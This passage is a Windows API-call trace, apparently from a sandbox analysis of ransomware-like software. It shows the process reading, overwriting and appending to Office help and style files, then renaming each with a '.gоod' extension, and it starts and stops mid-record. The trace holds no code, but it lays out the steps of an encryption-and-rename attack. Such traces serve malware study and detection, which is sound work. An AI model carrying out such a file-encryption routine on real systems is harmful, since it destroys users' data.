lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKY.CSS", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKY.CSS", lpFilePart=0x0) returned 0x3c [0233.129] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKY.CSS.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKY.CSS.gоod", lpFilePart=0x0) returned 0x41 [0233.129] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0233.129] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKY.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\sky.css"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x474a99c, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x474a99c, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x872abc48, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xd80)) returned 1 [0233.129] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0233.129] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKY.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\sky.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKY.CSS.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\sky.css.gоod")) returned 1 [0233.130] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB.HXS", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB.HXS", lpFilePart=0x0) returned 0x40 [0233.130] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0233.130] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb.hxs"), fInfoLevelId=0x0, lpFileInformation=0x38b0658 | out: lpFileInformation=0x38b0658*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe50d9a48, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe50d9a48, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xaee2894, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1efdc)) returned 1 [0233.130] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0233.130] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB.HXS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB.HXS", lpFilePart=0x0) returned 0x40 [0233.130] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0233.130] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0233.131] GetFileType (hFile=0x82c) returned 0x1 [0233.131] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0233.131] GetFileType (hFile=0x82c) returned 0x1 [0233.131] SetFilePointer (in: hFile=0x82c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x1000 [0233.131] ReadFile (in: hFile=0x82c, lpBuffer=0x38b0a50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59ddd8, lpOverlapped=0x0 | out: lpBuffer=0x38b0a50*, lpNumberOfBytesRead=0x1f59ddd8*=0x1000, lpOverlapped=0x0) returned 1 [0233.299] CloseHandle (hObject=0x82c) returned 1 [0233.299] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB.HXS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB.HXS", lpFilePart=0x0) returned 0x40 [0233.299] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0233.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0233.299] GetFileType (hFile=0x82c) returned 0x1 [0233.299] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0233.299] GetFileType (hFile=0x82c) returned 0x1 [0233.299] SetFilePointer (in: hFile=0x82c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x1efdc [0233.299] WriteFile (in: hFile=0x82c, lpBuffer=0x37cab70*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59dcf8, lpOverlapped=0x0 | out: lpBuffer=0x37cab70*, lpNumberOfBytesWritten=0x1f59dcf8*=0x10, lpOverlapped=0x0) returned 1 [0233.300] CloseHandle (hObject=0x82c) returned 1 [0233.300] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB.HXS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB.HXS", lpFilePart=0x0) returned 0x40 [0233.300] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0233.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0233.300] GetFileType (hFile=0x82c) returned 0x1 [0233.300] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0233.300] GetFileType (hFile=0x82c) returned 0x1 [0233.300] ReadFile (in: hFile=0x82c, lpBuffer=0x37cce20, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd88, lpOverlapped=0x0 | out: lpBuffer=0x37cce20*, lpNumberOfBytesRead=0x1f59dd88*=0x1000, lpOverlapped=0x0) returned 1 [0233.483] CloseHandle (hObject=0x82c) returned 1 [0233.484] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB.HXS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB.HXS", lpFilePart=0x0) returned 0x40 [0233.484] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0233.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0233.484] GetFileType (hFile=0x82c) returned 0x1 [0233.484] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0233.484] GetFileType (hFile=0x82c) returned 0x1 [0233.484] WriteFile (in: hFile=0x82c, lpBuffer=0x375a390*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59de38, lpOverlapped=0x0 | out: lpBuffer=0x375a390*, lpNumberOfBytesWritten=0x1f59de38*=0x1010, lpOverlapped=0x0) returned 1 [0233.484] CloseHandle (hObject=0x82c) returned 1 [0233.484] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB.HXS", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB.HXS", lpFilePart=0x0) returned 0x40 [0233.484] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB.HXS.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB.HXS.gоod", lpFilePart=0x0) returned 0x45 [0233.484] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0233.484] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb.hxs"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe50d9a48, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe50d9a48, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x876193d3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1efec)) returned 1 [0233.484] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0233.484] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB.HXS.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb.hxs.gоod")) returned 1 [0233.486] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_BASIC.HXS", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_BASIC.HXS", lpFilePart=0x0) returned 0x46 [0233.486] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0233.486] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_BASIC.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_basic.hxs"), fInfoLevelId=0x0, lpFileInformation=0x37ca6e0 | out: lpFileInformation=0x37ca6e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xef93c032, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xef93c032, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xae963cd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1ea22)) returned 1 [0233.486] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0233.486] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_BASIC.HXS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_BASIC.HXS", lpFilePart=0x0) returned 0x46 [0233.486] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0233.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_BASIC.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_basic.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0233.487] GetFileType (hFile=0x82c) returned 0x1 [0233.487] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0233.487] GetFileType (hFile=0x82c) returned 0x1 [0233.487] SetFilePointer (in: hFile=0x82c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x1000 [0233.487] ReadFile (in: hFile=0x82c, lpBuffer=0x37cab08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59ddd8, lpOverlapped=0x0 | out: lpBuffer=0x37cab08*, lpNumberOfBytesRead=0x1f59ddd8*=0x1000, lpOverlapped=0x0) returned 1 [0233.488] CloseHandle (hObject=0x82c) returned 1 [0233.488] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_BASIC.HXS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_BASIC.HXS", lpFilePart=0x0) returned 0x46 [0233.488] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0233.488] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_BASIC.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_basic.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0233.489] GetFileType (hFile=0x82c) returned 0x1 [0233.489] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0233.489] GetFileType (hFile=0x82c) returned 0x1 [0233.489] SetFilePointer (in: hFile=0x82c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x1ea22 [0233.489] WriteFile (in: hFile=0x82c, lpBuffer=0x37cbda8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59dcf8, lpOverlapped=0x0 | out: lpBuffer=0x37cbda8*, lpNumberOfBytesWritten=0x1f59dcf8*=0x10, lpOverlapped=0x0) returned 1 [0233.490] CloseHandle (hObject=0x82c) returned 1 [0233.490] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_BASIC.HXS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_BASIC.HXS", lpFilePart=0x0) returned 0x46 [0233.490] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0233.490] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_BASIC.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_basic.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0233.490] GetFileType (hFile=0x82c) returned 0x1 [0233.490] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0233.490] GetFileType (hFile=0x82c) returned 0x1 [0233.490] ReadFile (in: hFile=0x82c, lpBuffer=0x37ce070, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd88, lpOverlapped=0x0 | out: lpBuffer=0x37ce070*, lpNumberOfBytesRead=0x1f59dd88*=0x1000, lpOverlapped=0x0) returned 1 [0233.798] CloseHandle (hObject=0x82c) returned 1 [0233.798] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_BASIC.HXS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_BASIC.HXS", lpFilePart=0x0) returned 0x46 [0233.798] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0233.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_BASIC.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_basic.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0233.798] GetFileType (hFile=0x82c) returned 0x1 [0233.798] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0233.798] GetFileType (hFile=0x82c) returned 0x1 [0233.798] WriteFile (in: hFile=0x82c, lpBuffer=0x375e700*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59de38, lpOverlapped=0x0 | out: lpBuffer=0x375e700*, lpNumberOfBytesWritten=0x1f59de38*=0x1010, lpOverlapped=0x0) returned 1 [0233.799] CloseHandle (hObject=0x82c) returned 1 [0233.799] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_BASIC.HXS", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_BASIC.HXS", lpFilePart=0x0) returned 0x46 [0233.799] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_BASIC.HXS.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_BASIC.HXS.gоod", lpFilePart=0x0) returned 0x4b [0233.799] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0233.799] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_BASIC.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_basic.hxs"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xef93c032, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xef93c032, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x879141d0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1ea32)) returned 1 [0233.799] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0233.799] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_BASIC.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_basic.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_BASIC.HXS.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_basic.hxs.gоod")) returned 1 [0233.800] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE.HXS", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE.HXS", lpFilePart=0x0) returned 0x47 [0233.800] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0233.800] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_online.hxs"), fInfoLevelId=0x0, lpFileInformation=0x38f7338 | out: lpFileInformation=0x38f7338*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf5afc9d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5afc9d3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xae963cd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e5f0)) returned 1 [0233.800] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0233.800] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE.HXS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE.HXS", lpFilePart=0x0) returned 0x47 [0233.800] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0233.801] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_online.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0233.801] GetFileType (hFile=0x82c) returned 0x1 [0233.801] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0233.801] GetFileType (hFile=0x82c) returned 0x1 [0233.801] SetFilePointer (in: hFile=0x82c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x1000 [0233.801] ReadFile (in: hFile=0x82c, lpBuffer=0x38f7760, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59ddd8, lpOverlapped=0x0 | out: lpBuffer=0x38f7760*, lpNumberOfBytesRead=0x1f59ddd8*=0x1000, lpOverlapped=0x0) returned 1 [0233.803] CloseHandle (hObject=0x82c) returned 1 [0233.803] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE.HXS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE.HXS", lpFilePart=0x0) returned 0x47 [0233.803] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0233.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_online.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0233.803] GetFileType (hFile=0x82c) returned 0x1 [0233.803] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0233.803] GetFileType (hFile=0x82c) returned 0x1 [0233.803] SetFilePointer (in: hFile=0x82c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x1e5f0 [0233.803] WriteFile (in: hFile=0x82c, lpBuffer=0x38f8ad8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59dcf8, lpOverlapped=0x0 | out: lpBuffer=0x38f8ad8*, lpNumberOfBytesWritten=0x1f59dcf8*=0x10, lpOverlapped=0x0) returned 1 [0233.807] CloseHandle (hObject=0x82c) returned 1 [0233.807] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE.HXS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE.HXS", lpFilePart=0x0) returned 0x47 [0233.807] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0233.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_online.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0233.808] GetFileType (hFile=0x82c) returned 0x1 [0233.808] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0233.808] GetFileType (hFile=0x82c) returned 0x1 [0233.808] ReadFile (in: hFile=0x82c, lpBuffer=0x38fada0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd88, lpOverlapped=0x0 | out: lpBuffer=0x38fada0*, lpNumberOfBytesRead=0x1f59dd88*=0x1000, lpOverlapped=0x0) returned 1 [0234.133] CloseHandle (hObject=0x82c) returned 1 [0234.133] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE.HXS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE.HXS", lpFilePart=0x0) returned 0x47 [0234.133] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0234.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_online.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0234.133] GetFileType (hFile=0x82c) returned 0x1 [0234.133] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0234.133] GetFileType (hFile=0x82c) returned 0x1 [0234.133] WriteFile (in: hFile=0x82c, lpBuffer=0x3799658*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59de38, lpOverlapped=0x0 | out: lpBuffer=0x3799658*, lpNumberOfBytesWritten=0x1f59de38*=0x1010, lpOverlapped=0x0) returned 1 [0234.133] CloseHandle (hObject=0x82c) returned 1 [0234.134] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE.HXS", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE.HXS", lpFilePart=0x0) returned 0x47 [0234.134] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE.HXS.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE.HXS.gоod", lpFilePart=0x0) returned 0x4c [0234.134] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0234.134] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_online.hxs"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: 